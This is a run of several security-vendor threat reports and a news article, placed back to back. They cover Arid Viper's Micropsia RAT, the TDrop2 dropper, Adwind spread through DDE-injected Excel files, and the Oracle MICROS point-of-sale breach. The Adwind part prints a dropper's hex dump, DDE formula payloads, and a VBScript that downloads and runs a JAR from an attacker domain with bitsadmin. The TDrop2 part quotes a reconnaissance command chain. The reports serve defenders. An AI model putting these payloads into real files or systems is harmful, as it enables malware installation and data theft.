preliminary information has been sent, the implant now begins its remote access trojan (RAT) activity and waits for command codes from the C2 server. The implant now uses two additional HTTP form variables to transmit the output of the commands executed on the endpoint: - vcgqjdlrcv = hardcoded value 0. - mugnaq = base64 encoded screenshot or command output. The C2 issues distinct command codes to the implant to carry out various actions on the infected endpoint. The commands follow the format: `;<cmd_code>;<base64_encoded_supporting_data>;` #### Command Codes Accepted by the Implant - "1", "2", or "sh": Capture screenshots to the %TEMP% directory and exfiltrate. - "log": Send the current activity log (recorded in an internal Memo) to the C2. - "cmd": Execute the command specified and send output to C2. - "df": Download file from a specified remote location into a local path specified by the C2. - "zero": Exit execution. - "lehar": Ask for the next command from the C2. We have observed implants using two distinct URLs to instrument communications with the C2, one for exfiltration of screenshots and the other for all the other RAT commands. ## Conclusion Since its initial disclosure by Talos in 2017, this campaign from Arid Viper has become a long-standing offensive cyber attack spanning well into 2021. State-sponsored actors and privateer groups rely heavily on stealth in their operations. The public disclosures of campaigns and targeted attacks are usually followed by the actors taking down their infrastructure and revamping their implants to avoid discovery of their malicious assets. However, in the case of Arid Viper, the continued use of the same TTPs over the past four years indicates that the group doesn't feel affected by the public exposure of its campaigns and implants and continues to operate business as usual. This complete lack of deterrence makes them a dangerous group once they decide to target an organization or individual. The lack of change also points to a certain level of success with their current TTPs. The new campaign and accompanying versions of Arid Viper's Micropsia implant disclosed in this research by Talos brings the spotlight back to their politically themed campaign to remind potential victims that the group is still very active. Arid Viper is a prime example of groups that aren't very advanced technologically; however, with specific motivations, are becoming more dangerous as they evolve over time and test their tools and procedures on their targets. Implants such as Micropsia come in various forms such as Delphi, Python, and Android. Such RATs proliferated and operated by a highly motivated threat actor who refuses to back down consist of a variety of functionalities and are constantly evolving. These RATs can be used to establish long-term access into victim environments and additionally deploy more malware purposed for espionage and stealing information and credentials. In-depth defense strategies based on a risk analysis approach can deliver the best results in prevention. However, this should always be complemented by a good incident response plan which has been not only tested with tabletop exercises but also reviewed and improved every time it is put to the test on real-world engagements.
While researching new, unknown threats collected by WildFire, we discovered the apparent re-emergence of a cyber espionage campaign thought to be dormant after its public disclosure in June 2013. The tools and tactics discovered, while not identical to the previous Dark Seoul campaign, showed extreme similarities in their functions, structure, and tools. In this post, we will provide an overview of the original Dark Seoul campaign in 2013, the similarities and differences in tactics, the malware used, as well as attempt to answer the question of ‘why now’? In March 2013, the country of South Korea experienced a major cyberattack, affecting tens of thousands of computer systems in the financial and broadcasting industries. This attack was dubbed ‘Dark Seoul’; it involved wreaking havoc on affected systems by wiping their hard drives, in addition to seeking military intelligence. The attack was initially thought to be attributed to North Korea, by way of a Chinese IP found during the attack, but no other strong evidence of North Korea’s involvement has been produced since then. In June 2013, McAfee published a report detailing the chronology and variance of the Dark Seoul campaign, but renamed it ‘Operation Troy’. The report analyzed the entirety of the purported attack campaign, beginning in 2009 using a family of tools dubbed ‘Troy’. McAfee further attributed two groups to the campaign: the NewRomanic Cyber Army Team and The Whois Hacking Team; both groups believed to be state-sponsored. Since the publication of that report, no other activity involving either group or the tools have been detected or shared publicly. That is, until now. Using the Palo Alto Networks AutoFocus threat intelligence platform, we identified several samples of malicious code with behavior similar to the aforementioned Operation Troy campaign dating back to June 2015, over two years after the original attacks in South Korea. Session data revealed a live attack targeting the transportation and logistics sector in Europe. The initial attack was likely a spear-phishing email, which leveraged a trojanized version of a legitimate software installation executable hosted by a company in the industrial control systems sector. The modified executable still installs the legitimate video player software it claims to contain, but also infects the system. Based on deep analysis of the Trojan’s behavior, binary code, and previous reports of similar attacks, we have concluded that these samples were the same as the original tools used in the Dark Seoul/Operation Troy attacks. It is likely the same adversary group is involved, although there is currently insufficient data to confirm this conclusion. The malicious code was delivered via the following two executable names, packaged together in a zip archive file: - [redacted]Player_full.exe - [redacted]Player_light.exe Both executables present themselves as legitimate installation programs offered by the industrial control systems organization, providing video player software for security camera solutions. When either sample was executed, the malware dropped and subsequently executed the actual video player it disguised itself as. The new malware variant, which we call TDrop2, proceeds to select a legitimate Microsoft Windows executable in the system32 folder, executes it, and then uses the legitimate executable’s process as a container for the malicious code, a technique known as process hollowing. Once successfully executed, the corresponding process then attempts to retrieve the second-stage payload. The second-stage instruction attempts to obfuscate its activity by retrieving a payload that appears to be an image file, but upon further inspection appears actually to be a portable executable. The C2 server replaces the first two bytes, which are normally ‘MZ’, with the characters ‘DW’, which may allow this C2 activity to evade rudimentary network security solutions and thus increase the success rate of retrieval. Once downloaded, the dropper will replace the initial two bytes prior to executing it. This second stage payload will once again perform process hollowing against a randomly selected Windows executable located in the system32 folder. The overall workflow of this malware is visualized below: The final payload provides the following capabilities to attackers: | Command | Description | |---------|-------------| | 1001 | Modify C2 URLs | | 1003 | Download | | 1013 | Download/execute malware in other process | | 1018 | Modify wait interval time | | 1025 | Download/execute and return response | | Default | Execute command and return results | These commands are encrypted/encoded when transferred over the network. The malware uses an unidentified cryptographic routine for encryption. Additionally, the following custom alphabet is used for base64 encoding that takes place after the encryption of the data: `3bcd1fghijklmABCDEFGH-J+LMnopq4stuvwxyzNOPQ7STUVWXYZ0e2ar56R89K/` Once decoded and decrypted, we see the following command being provided: ``` tick 7880 systeminfo & net view & netstat -naop tcp & tasklist & dir /a “%userprofile%\AppData\Local\Microsoft\Outlook” & dir /a “%temp%\*.exe” & dir “%ProgramFiles%” & dir “%ProgramFiles%\Microsoft Office” 1018; 60 ``` The initial ‘tick’ string is hardcoded and must be present for the malware to accept the subsequent command(s). In this case, the initial commands are used to perform basic reconnaissance on the infected host and return the results to the attacker, then initialize a sleep period of 60 seconds. We will publish more details about the TDrop2 malware variant in a follow-up blog. Analysis of the malicious code identified reveals the distinct similarities in behavior and functionality to the original Dark Seoul/Operation Troy toolset. The use of the custom base64 alphabet was observed in the following twelve samples that were specified within the Operation Troy whitepaper: - 2e500b2f160f927b1140fb105b83300ca21762c21bb6195c44e8dc613f7d7b12 - 353a1288b1f8866af17cd7dffb8b202860f03da8d42e6a76df7b5212b3294632 - 4a11e0453af1155262775e182e5889fc7141f0fa73f8ac916fd83d2942480437 - 4df8a104c9d992c6ea6bd682f86c96ddffab302591330588465640eb8a04fa2d - 591eb8ce448ab95b28a043943bd9de91489b5ebb1ef4a7b2646742b635fa93f2 - 8e84f93fd0e00acba0e1c4b1c1cef441fa33ad5c95e7bacbd7261ee262be039a - 971fd9ae00ffce5738670ec26bca6cf3ad1a4c47d133cee672470381c559b5a7 - a30eb5774fe309044467a6a90355cc69d62843cc946eb9cc568095a053980098 - b323d4c3bef99742dda27df3bf07a46941932fec147daaa4863440c13a21ec49 - c1a7b065555b833f76d87b54f1dd2ede90bce9268325e8524b372c01f3ef4403 - c1cf57f2bdec8c9b650dfaba0427d12c39189330efab8cd9aa4dbfbd6735cf40 - dbb0f061dd29b3f69d5fe48e3827e279bd8bdcf584f30fe35b037074c00eb840 The majority of these samples had debug strings that referenced the ‘TDrop’ malware family, which is likely the predecessor to the malware observed in this campaign and the source of the name ‘TDrop2’. The new variant also uses a distinct string decryption routine, which was also observed in a number of Operation Troy samples. The same string decryption routine was also observed in 64-bit samples from the Operation Troy campaign. The following samples were found to have this decryption routine present: - 486141d174acec27a4139c4593362bd5c51a88f49dfde46d134a987b34896dc2 - 9d84e173796657162790377be2303b59d3cf680edec73627e209ca975fabe41c - a15aafcc79cc66ce7b45113ceff892261874fad9cf140af5b9fa401a1f06c4a4 - bc724f66807e2f9c9cab946a3e97da51ad7a34f692e93d6e2b2db8cf39ae01db Network communications appeared identical to that described in a Korean blog post written in June 2013 regarding what appears to be a partial analysis of the Dark Seoul attack. The behavior of the analyzed malicious code made references to decoding a PE file from both a .gif and .jpg URL. Additionally, a unique POST separator string is identified (6e8fad908fe13c), which also matches the malware payload observed in TDrop2 samples. The command and control (C2) servers used in these recent attacks are compromised websites located in South Korea and Europe. It’s not clear what led to the compromise of these four web servers, but they all appear to use shared hosting providers and operate on out-of-date software that may contain vulnerabilities and/or misconfigurations. At this time, it is unclear if this attack is attributed to the same two groups previously outlined in McAfee’s 2013 report. There are obvious similarities in the malware used, as well as other tactics, but there are also some obvious differences. The targeting, for example, is completely different in that this observed attack is not aimed at military, government, or financial institutions in the South Korea region. In addition, there has been no evidence of destructive functionality in the samples analyzed by Unit 42, although the malware is capable of downloading additional components so those simply may not yet have been observed. The similarities in tactics, however, do seem to outweigh the differences, and it is highly likely this is the same group or groups responsible for the original Dark Seoul/Operation Troy attacks, but with a new target and a new campaign. It is not uncommon for threat actors to become dormant for some period of time, especially after public unveiling as the groups behind Dark Seoul/Operation Troy experienced. What we do know is that changing infrastructure and toolsets can be challenging, and it is not nearly as common that a very specialized tool developed for specific teams would be shared amongst threat actors. There is insufficient data at this time to clearly state why Dark Seoul/Operation Troy would resurface at this time, but Unit 42 will continue to monitor the activity as the situation develops. We have created the AutoFocus tag TDrop2 to identify samples of this new variant and have added known C2 domains and hash values to the Threat Prevention product set. At this time, WildFire is able to correctly identify the samples associated with this campaign as malicious. ``` 52939b9ec4bc451172fa1c5810185194af7f5f6fa09c3c20b242229f56162b0f 1dee9b9d2e390f217cf19e63cdc3e53cc5d590eb2b9b21599e2da23a7a636184 52d465e368d2cb7dbf7d478ebadb367b3daa073e15d86f0cbd1a6265abfbd2fb a02e1cb1efbe8f3551cc3a4b452c2b7f93565860cde44d26496aabd0d3296444 43eb1b6bf1707e55a39e87985eda455fb322afae3d2a57339c5e29054fb52042 ``` - www.junfac[.]com - www.htomega[.]com - mcm-yachtmanagement[.]com - www.combra[.]eu - www.junfac[.]com/tires/skin/tires.php - www.htomega[.]com/rgboard/image/rgboard.gif - mcm-yachtmanagement[.]com/installx/install_ok.php - www.combra[.]eu/includes/images/logo.jpg
# Adwind Dodges AV via DDE This blog post is authored by Paul Rascagneres, Vitor Ventura, with contributions from Tomislav Pericin and Robert Perica from ReversingLabs. ## Introduction Cisco Talos, along with fellow cybersecurity firm ReversingLabs, recently discovered a new spam campaign that is spreading the Adwind 3.0 remote access tool (RAT), targeting the three major desktop operating systems (Linux, Windows, and Mac OSX). This new campaign, first discovered by ReversingLabs on Sept. 10, appears to be a variant of the Dynamic Data Exchange (DDE) code injection attack on Microsoft Excel that has appeared in the wild in the past. This time, the variant is able to avoid detection by malware-blocking software. The majority of the targets in this campaign are in Turkey, according to data from the Cisco Umbrella cloud security platform. After our research, we have discovered important details about this attack, as well as the malicious, forged Microsoft Office documents that the attackers are using. ## Spam campaign Our Umbrella telemetry shows that this campaign started on Aug. 26, 2018, peaking on Aug. 28. Umbrella also shows that 75 percent of the requests were made from Turkey. This is no surprise, considering the language in the spam emails is Turkish. Some of the targets were also located in Germany, which makes sense given that there is a significant Turkish community in Germany. The attackers tempt the user with an email about the cost of footwear. ### Sample of spam email In the screenshot above, we can see a CSV file is attached. We identified attachments with the .XLT extension, too. ## Microsoft Office Dropper We have seen at least two different droppers in this campaign. They use either the .csv or .xlt extensions, which are opened by default by Microsoft Excel. Both versions were leveraging a new variant of the DDE code injection attack. Although this method is well-known, this variant is undetected at the time of this writing. The dropper implementing this method will have the following internal format: `<random quantity of data><special byte><code to be executed><random quantity of data>` Here is a breakdown of what this format means: - `<random quantity of data>` — Random data in any quantity — the last is optional. Not necessarily ASCII characters. - `<special byte>` — 0x0A (New Line) or 0x0D (Carriage Return), these special bytes are interpreted by Excel as new lines, putting any data that follows on the first cell of the next row. - `<code to be executed>` — The executed command must start by "=", "+", "-" or be included in a function (such as @SUM()). The command format is command|'argument'!cell. The cell does not need to be a valid one. For example: - `=calc|' '!A0` - `+msiexec|' /q /i C:\Users\user\Downloads\file.msi'!A0` - `@SUM(calc|' '!A0` The dropper file can have any of the extensions in the table below. Not all of the extensions will be opened by Microsoft Excel by default. However, for the non-default extensions, a script starting Excel with a file with one of these extensions as a parameter is still a viable attack scenario. Formats like CSV don't have a predefined header, thus it can contain any kind of data at the beginning. Having random data like in the samples we found may trick the anti-virus into skipping the file scanning. Other formats may be considered corrupted, as they might not follow the expected format. Here is an example: ``` 00000830 47 fc c9 c8 5f 27 5b 6e 4e e2 d6 88 21 24 cc 27 |G..._'[nN...!$.'| 00000840 88 7e 5e bf 40 c2 e9 cd 8a f2 9f 2c b7 d9 b5 a8 |.~^.@......,....| 00000850 2a c6 98 0d 0a 3d 63 6d 64 7c 27 20 2f 63 20 40 |*....=cmd|' /c @| 00000860 65 63 68 6f 20 53 65 74 20 57 58 57 59 4b 4e 52 |echo Set WXWYKNR| 00000870 47 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 |G = CreateObject| 00000880 28 22 57 73 63 72 69 70 74 2e 53 68 65 6c 6c 22 |("Wscript.Shell"| 00000890 29 20 3e 20 4e 4d 55 57 59 54 47 4f 2e 76 62 73 |) > NMUWYTGO.vbs| 000008a0 20 26 20 40 65 63 68 6f 20 57 58 57 59 4b 4e 52 | & @echo WXWYKNR| 000008b0 47 2e 52 75 6e 20 22 63 6d 64 20 2f 63 20 62 69 |G.Run "cmd /c bi| 000008c0 74 73 61 64 6d 69 6e 20 2f 74 72 61 6e 73 66 65 |tsadmin /transfe| 000008d0 72 20 38 20 2f 64 6f 77 6e 6c 6f 61 64 20 68 74 |r 8 /download ht| 000008e0 74 70 3a 2f 2f 65 72 61 79 69 6e 73 61 61 74 2e |tp://erayinsaat.| 000008f0 6c 69 76 65 20 25 74 65 6d 70 25 5c 4e 4d 55 57 |live %temp%\NMUW| 00000900 59 54 47 4f 2e 6a 61 72 26 25 74 65 6d 70 25 5c |YTGO.jar&%temp%\| 00000910 4e 4d 55 57 59 54 47 4f 2e 6a 61 72 22 2c 30 2c |NMUWYTGO.jar",0,| 00000920 54 72 75 65 20 3e 3e 20 4e 4d 55 57 59 54 47 4f |True >> NMUWYTGO| 00000930 2e 76 62 73 26 20 4e 4d 55 57 59 54 47 4f 2e 76 |.vbs& NMUWYTGO.v| 00000940 62 73 27 21 41 30 0d 0a 6e e3 b0 c6 a3 40 b4 fb |bs'!A0..n....@..| ``` ### Example of a dropper Excel will display warnings to the user regarding the execution of code. Here is an example where the payload is executing "calc.exe:" ### Excel corruption warning upon execution As you can see, Excel detects that the opened file is not a real XLT document. It explains that the file is probably corrupted and asks the user if they are sure they want to open it. ### Command execution warning The second warning notifies the user that the document will execute the application "CMD.exe." ### Calc execution If the user accepts the three warnings, the system will open the calculator application. In this campaign, the purpose of the injected code was to create and execute a VBScript with the following content: ``` Set WXWYKNRG = CreateObject("Wscript.Shell") WXWYKNRG.Run "cmd /c bitsadmin /transfer 8 /download hxxp://erayinsaat[.]live %temp%\NMUWYTGO.jar&%temp%\NMUWYTGO.jar",0,True ``` The script uses bitsadmin, a tool provided by Microsoft to download or upload jobs and monitor their progress, to get the final payload. This payload is a Java archive file. ## Java Payload The Java code is packed with the demo version of a commercial packer named "Allatori Obfuscator version 4.7." We identified the packed malware as Adwind RAT v3.0. ## Adwind configuration It's a well-known multiplatform RAT with several configurations possible. The samples we tested were configured to achieve persistence on Windows, Linux, and Mac OSX. Each platform has its own persistence name. This RAT is used by several malicious groups. It gives its operators the ability to execute any kind of commands on its victims, log keystrokes, take screenshots, take pictures, or transfer files. In the past, it has been used to run cryptocurrency mining campaigns and in a separate attack that targeted the aviation industry. ## Conclusion The DDE variant used by the droppers in this campaign is a good example of how signature-based antivirus software can be tricked. It is also a warning sign regarding file extension-scanning configurations. This kind of injection has been known for years; however, this actor found a way to modify it in order to have an extremely low detection ratio. The malicious actor used a well-known multiplatform RAT with a wide range of capabilities — a "field-proven" RAT that ensured it would work as designed and go undetected. Although both the generic method and the payload are known, this campaign shows how some variance in well-known artifacts can trick antivirus software. Their behavior, however, is clearly classical, which means that sandboxing- and behavior-based solutions aligned with intent-based networks should be able to detect and stop these threats without problems. ## IOCs ### URLs - hxxp://avrasyagrup[.]live - hxxp://avrasyayapi[.]live - hxxp://birlikholding[.]live - hxxp://erayinsaat[.]live - hxxp://qakeyewoha[.]club - hxxp://yeyamohofe[.]club ### Hashes #### Office Documents - 0143b64f11346fab531951f7f1167a80e26728e6178676aacc9a58eca4b306d8 - 05a3da412fb18736b93651a19cd87c2042db9dfdf8ad4e2a66239a7ec62a91ca - 05fff8c2a4c5090435420021d96992257433ac1bf247f6cebce9a64cf10f465f - 09c9ee0988af18b8df6123e439133df1356a88a7f0d890cb3b3e2414a427f4dd - 09cb501db2c5a8e7bbd8fd9a65f52363ebdb581bd7d5cbc77a732fd9f8bb5b59 - 0a1ad19b950b8435e96be70d1bfb16b3bec4e9113c39299c8a89ddfd45ae24ab - 0a9dee3c14a4ec7acdde5283c44fc1d5fa163a9a9fc5cce40f011e5a2cce5403 - 0b9605c9a49b1db8b703782162223fa8a09e864a92083e7427af89279db0520a - 0d96e9cbffb39b95cc3aec5a75e512564efa10a16cb0283119b1a997a2a63469 - 0dec9c40241077c5c06474177dee7fef5931c7faa33d89f8d339fa2f6e7304b4 - 0def2421327c971ae63075c533cf996951db4b5da72a2bc04bc0d304b4cbb510 - 0f46d262b2968aa45f7fe0e5363c4519927e3bd912d9efbad94b1d7fdb45d929 - 0fc020ab20b3e77dd13c53d89d75db8257573e0eedf6833497dc05e68e3718ae - 106e8963f23ab2fc04adc04cffc6a3b59e36fffa91d69d1553c2a3bcf95fe828 - 13066b6f547d9dfa11046320a16c73964fba0b193ba25740fcb75a5d7df26512 - 1397cf6ddcb2b30b3a5d6a003bd6aec1661854a81a745279f1f4259a5e337578 - 13ab4c7c4c3ab91121cf599be375cea7f5e13994f7f01bd2b822442e7c71c07d - 13ee53b315c3a14febd7b55e14e52f42d60ef5f3f1e6f5baefc3ea8ad63d048a - 1460ddc9b732346052c29436e0c1390e59921dd68699beaa188d60aef59aec5b - 14aad5aa7a17b56772f4a3ef5139c0ab59e318032d914f4012b8f679475b9d5f - 15bfd41a85216cad6d21e84bccaef9218ceb76adf999797fc3a4b1ef1f9b235f - 16208cc35721ddf420e68e56d08d962182863eb9037ebef0fe1948818dfa3b57 - 16d965ec99d4209702f11ae18de40a570600b650619a5f30d0a9d251417109db - 17ca6c33201bab32a20dbc86b0147c9bf216ce7da35f6dc04c48b2c75f57b741 - 18a4061dd4b8fac9da260efa6a2d0922c1cfa4c5db6df5aa49206b19578a5d1f - 18f99644657252f4f815456968f696878ada0aa50bf181fa374218a29e1eb36f - 1b2c64a970a11dc02404b2c284e57ea2ce1802762e428ebcc4372596de9f5d02 - 1ce2aba502a9a849c8955f39900ba6a0a9e7c8cfcf8b9bad31d49cc135bbf937 - 1e32a63997a891960abdc273b660cfebb0fa499c72df04aeb4f3bfc54e6078fa - 2031104e107f9a1f6e261399c8eadcfbb825e526d5016877f62579674e75c688 - 20d28e0d90dea1f655583c9842b2a1b35648bfb3dc29977de5961c69123d79e8 - 21bcbea2d8d3a66bfc147a9b0dbe4fd5526d6cf21dda7280834526fd92e9c59e - 21e879984ee24c2a85981b88c1a7382de34133a196921afccc9957c0ed8a4962 - 22752c9e6250ffafd923dbe08cac0001e1768cfb49fefb670812b682739ac4a7 - 237a6496eb87a4cdebc14398f3813cd9e556f4a448dce889226440e160163174 - 2472e142a95cded0360e381a653e8fd24e5e4135689601310b465934c83865d0 - 25371c9bec5eb264953e4cf72639a29875fa2699d878a5cd74df778e0576284a - 25ef4d43ea422b0908065bcb6e9cb07bc2e1fd33c782c39adf7d609fe93e54dc - 261b3573a561147637f4d1781b0ecdb36473a8c51d23891bac9b3d54faf7cee0 - 27844a470eca99a337fc0862dd7ef06e7c3332103be3826865255a309e4b71a4 - 27afd89dd1a1c1fc728afa59365eebeb5967e67fd736cccf11b7be8799596748 - 2822be3031a0215a725174b826b5a23bfcca740b997d1848eb8e3341dd940c23 - 28efe349fb712ea0f3fd326585eed40f13919bc845296dc2e691e4c4bba1492a - 2c2f77190f9a36fbe2ec37bf67a27cf2b39ae2dbb17f0c627798f9f4f9cf39a2 - 2d65475b0611cc191b1e21ceaadf85d9f63459796a97bd50049f2abc6938e193 - 2e3e87d3d4b7f18f938d8a61d999eef5eedf9c3de57db4bf72ab94822103c0c0 - 2f3b65ee0a39b8687357a41d81344f8acfd4ea5e63ef642f93df0df2d76b8d5f - 300d0ec247202760c1aef939a86a53c069bc81521883b57d26c2e58bf491274b - 3066c614b5bdda56872c8c0c4625d1c95980345cfb2f5b381623f88c420564d5 - 30fa53738d410b32d0cc79da361cd7361a9cdf2954f2207e6869f15859fd41ae - 311b1c982340093ef34d58d5d1d898c6fa0ae69594cdcecad0c481c00e5020a9 - 34595c987791c6cf49fcd792a1772164085190283cad7cb71c0a0593457b4d9f - 35876c75bdfef547cce630d55c14d38063dbdd4f51b361f73a5772ebc29e0de7 - 3691cb207ba73679733d90a97e3b4e93e3fb807f751047b22d0dcc712160af4d - 3777b00d2cdc70f84995391dfc5d9b6c51257c85a358d12bce2ebc5d04f2a485 - 382dcc0e67736d1731ca6cce46d7454d3f6c12a3c8fe52d836e1ff96a4067731 - 383b0a3a1d33f1256a7d3ab581ff63533619481a07a5efa0f685aadb8e1a79bc - 38e309519e2c06f7bb72692dcd186ed2a03bb217eafa7c07a75f649dd472a10f - 3b5cc95e3ce3c4102e77e80fc45db8895d59b5838fa4a9f9a3a5020901006442 - 3d84d60e432d20a1f716b6ed0a63aee69333715da1adcd90b22fac1e8029a536 - 3e3eac9d620c96fb5aa646d5dc185d3c0a0f02ef9c582db0ade88a4fa6f0a0cf - 3f2a3d75fd5a89071e82593cb9c163d7c7886be287fcfa932cd9951cdb16c362 - 3fca35af91052c235ab6d6e7f7ace47e0f3eacbf281eac3f66769b4cf4e68912 - 40f6642559192806e49d56cdec05f4ac00ecc00a0dda659e8e86b0af2a5fcce4 - 4169e137cf492ced4d2d97e9d89f92cdd0a6868947df10e0c8eba55ae8b0ee59 - 41b750190dfaa6a01b8d8e6849f7deb348e7896951d646ccb3dd523aedb0cecc - 42589da889f67b7ad0e140b71891ab3140074403b6b2309d5ef521532f164baf - 427afa473950e7459f544bc8d4bdc054a1b994a9c18eb665a3e31068e783709a - 43e3d3ad32bd560046e3f34892aae3e3bad471d4183babf7f4eba3437bee5a2d - 447905036af51ceb2b2326ad2f8f734591716f3468b5f2ece2c05e8ec054e21c - 4577d8abd4248d56a1e2d48335b309ec1784f292899443c2f24b7163f4d3ce9e - 474257fbcadbf64f2cc788949536dc659a5b4ef733d2e216bfcdcb757588e78b - 4836bdae84c1b892a6278f5a6fb3058a58b3b87846e70645b3cc4966ccec02c9 - 49913d699a53bc06d5f1f1a4bd253a34e43edf1ef91744994387a2da6851341e
# Visa Alert and Update on the Oracle Breach Credit card industry giant Visa on Friday issued a security alert warning companies using point-of-sale devices made by Oracle's MICROS retail unit to double-check the machines for malicious software or unusual network activity, and to change passwords on the devices. Visa also published a list of Internet addresses that may have been involved in the Oracle breach and are thought to be closely tied to an Eastern European organized cybercrime gang. The Visa alert is the first substantive document that tries to help explain what malware and which malefactors might have hit Oracle — and by extension many of Oracle’s customers — since KrebsOnSecurity broke news of the breach on Aug. 8. That story cited sources close to the investigation saying hackers had broken into hundreds of servers at Oracle’s retail division and had completely compromised Oracle’s main online support portal for MICROS customers. MICROS is among the top three point-of-sale vendors globally. Oracle’s MICROS division sells point-of-sale systems used at more than 330,000 cash registers worldwide. When Oracle bought MICROS in 2014, the company said MICROS’s systems were deployed at some 200,000+ food and beverage outlets, 100,000+ retail sites, and more than 30,000 hotels. In short, tens of millions of credit cards are swiped at MICROS terminals monthly, and a breach involving the theft of credentials that might have granted remote access to even just a small percentage of those systems is potentially a big and costly problem for all involved. So far, however, most MICROS customers are left scratching their heads for answers. A frequently asked questions bulletin Oracle also released last Monday held little useful information. Oracle issued the same cryptic response to everyone who asked for particulars about how far the breach extended: “Oracle has detected and addressed malicious code in certain legacy MICROS systems.” Oracle also urged MICROS customers to change their passwords and said, “we also recommend that you change the password for any account that was used by a MICROS representative to access your on-premises systems.” Some technology and fraud experts, including Gartner Analyst Avivah Litan, read that statement as an acknowledgment by Oracle that hackers may have abused credentials gained in the MICROS portal breach to plant malicious code on the point-of-sale devices run by an unknown number of MICROS customers. “This [incident] could explain a lot about the source of some of these retail and merchant point-of-sale hacks that nobody has been able to definitively tie to any one point-of-sale services provider,” Litan told me last week. “I’d say there’s a big chance that the hackers in this case found a way to get remote access” to MICROS customers’ on-premises point-of-sale devices. Clearly, Visa is concerned about this possibility as well. ## Indicators of Compromise In my original story about the breach, I wasn’t able to reveal all the data I’d gathered about the apparent source of the attacks and attackers. A key source in that story asked that I temporarily delay publishing certain details of the investigation, specifically those known as indicators of compromise (IOCs). Basically, IOCs are a list of suspect Internet addresses, domain names, filenames, and other curious digital clues that are thought to connect the victim with its attacker. I’ve been inundated all week with calls and emails from security experts asking for that very data, but sharing it wasn’t my call. That is, until yesterday (8/12/16), when Visa published a “merchant communication alert” to some customers. In that alert, Visa published IOCs that may be connected with the intrusion. These IOCs could be extremely useful to MICROS customers because the presence of Internet traffic to and from these online destinations would strongly suggest the organization’s point-of-sale systems may be similarly compromised. Some of the addresses on this list from Visa are known to be associated with the Carbanak Gang, a group of Eastern European hackers that Russian security firm Kaspersky Lab estimates has stolen more than $1 billion from banks and retailers. Here’s the IOCs list from the alert Visa pushed out Friday: Visa warned merchants to check their systems for any communications to and from these Internet addresses and domain names associated with a Russian organized cybercrime gang called “Carbanak.” Thankfully, since at least one of the addresses listed above (192.169.82.86) matched what’s on my source’s list, the source agreed to let me publish the entire thing. I checked my source’s list and found at least five Internet addresses that were seen in both the Oracle attack and in a Sept. 2015 writeup about Carbanak by ESET Security, a Slovakian antivirus and security company. Visa also mentioned a specific POS-malware threat in its alert called “MalumPOS.” According to researchers at Trend Micro, MalumPOS is malware designed to target point-of-sale systems in hotels and related industries. In fact, Trend found that MalumPOS is set up to collect data specifically from point-of-sale systems running on Oracle’s MICROS platform. It should come as no surprise then that many of Oracle’s biggest customers in the hospitality industry are starting to make noise, accusing Oracle of holding back key information that could help MICROS-based companies stop and clean up breaches involving malware and stolen customer credit card data. “Oracle’s silence has been deafening,” said Michael Blake, chief executive officer at HTNG, a trade association for hotels and technology. “They are still grappling and trying to answer questions on the extent of the breach. Oracle has been invited to the last three [industry] calls this week and they are still going about trying to reach each customer individually and in the process of doing so they have done nothing but given the lame advice of changing passwords.” The hospitality industry has been particularly hard hit by point-of-sale compromises over the past two years. Last month, KrebsOnSecurity broke the news of a breach at Kimpton Hotels (Kimpton appears to run MICROS products, but the company declined to answer questions for this story). Kimpton joins a long list of hotel brands that have acknowledged card breaches over the last year, including Trump Hotels (twice), Hilton, Mandarin Oriental, and White Lodging (twice), Starwood Hotels, and Hyatt. In many of those incidents, thieves had planted malicious software on the point-of-sale devices at restaurants and bars inside of the hotel chains. And, no doubt, many of those cash registers were run on MICROS systems. If Oracle doesn’t exactly know which — if any — of its MICROS customers had malware on their point-of-sale systems as a result of the breach, it may be because the network intruders didn’t have any reason to interact with Oracle’s customers via the MICROS portal after stealing usernames and passwords that would allow them to remotely access customer on-premises systems. In theory, at that point the fraudsters could have bypassed Oracle altogether from then on. ## Breached by Multiple Actors? Another possibly interesting development in the Oracle breach story: There are indications that Oracle may have been breached by more than one cybercrime group. Or at least handed off from one to the other. Late this week, Thomas Fox-Brewster at Forbes published a story noting that MICROS was just one of at least five point-of-sale companies that were recently hacked by a guy who — from an exhaustive review of his online chats — appears to have just sat himself down one day and decided to hack a bunch of point-of-sale companies. Forbes quoted my old friend Alex Holden of Hold Security saying he had evidence that hackers had breached at least 10 payment companies, and the story focuses on getting confirmation from the various other providers apparently breached by the same cybercriminal actor. Holden showed me multiple pages worth of chat logs between two individuals on a cybercrime forum. The discussion between the two hackers begins around July 15, 2016, and goes on for more than a week. In it, the two hackers have been introduced to one another through a mutual, trusted contact. For a while, all they discuss is whether the seller can be trusted to deliver the Oracle MICROS database and control over the Oracle MICROS customer ticketing portal. In the end, the buyer is convinced by what he sees and agrees to pay the bitcoin equivalent of roughly USD $13,000 for access to Oracle’s MICROS portal, as well as a handful of other point-of-sale websites. According to the chat log, the hacker broke in by exploiting a file-upload function built into the MICROS customer support portal. From there, the attackers were able to upload an attack tool known as a “WSO Web Shell.” This is a crude but effective text-based control panel that helps the attacker install additional attack tools to harvest data from the compromised Web server. The beauty of a Web shell is that the attacker can control the infected site using nothing more than a Web browser, using nothing more than a hidden login page and a password that only he knows. The two hackers discussed and both viewed more than a half-dozen files that were apparently left behind on the MICROS portal by the WSO shell they uploaded in mid-July. The chat logs show the pair of miscreants proceeding to target another nine online payment providers or point-of-sale vendors. Some of those companies were quoted in the Forbes piece having acknowledged a breach similar to the Web shell attack at Oracle. But none of them have anywhere near the size of Oracle’s MICROS customer base. ## Good Hospitality, or Swept Under the Rug? Oracle maintains in its FAQ about the MICROS attack that “Oracle’s Corporate network and Oracle’s other cloud and service offerings were not impacted.” But a confidential source within Oracle’s Hospitality Division told KrebsOnSecurity that the breach first started in one of Oracle’s major point-of-sale data centers — specifically the company’s large data center in Manassas, Va. According to my source, that particular center helps large Oracle hospitality industry clients manage their fleets of MICROS point-of-sale devices. “Initially, the customer’s network and the internal Oracle network were on the same network,” said my source, who spoke under condition of anonymity because he did not have permission from his employer to speak on the record. “The networking team did a network segmentation of these two networks — ironically for security purposes. However, it seems as if what they have done actually allowed access from the Russian Cybercrime group.” My source said that in mid-July 2016 Oracle sent out an email alert to employees of its hospitality division that they had to re-image their laptops without backing anything up. “All of the files and software that were on an employee’s computer were deleted, which was crippling to business operations,” my source recalled. “Project management lost all their schedules, deployment teams lost all the software that they use to install on customer sites. Oracle did not tell the employees in this email that they got hacked but just to re-image everything with no backups. It seems as if Oracle did a pretty good job sweeping this incident under the rug. Most employees don’t know about the hack and it hasn’t been a huge deal to the customers. However, it is estimated that this cost them billions, so it is a really major breach.” ## Indicators - 104.156.240.212 - 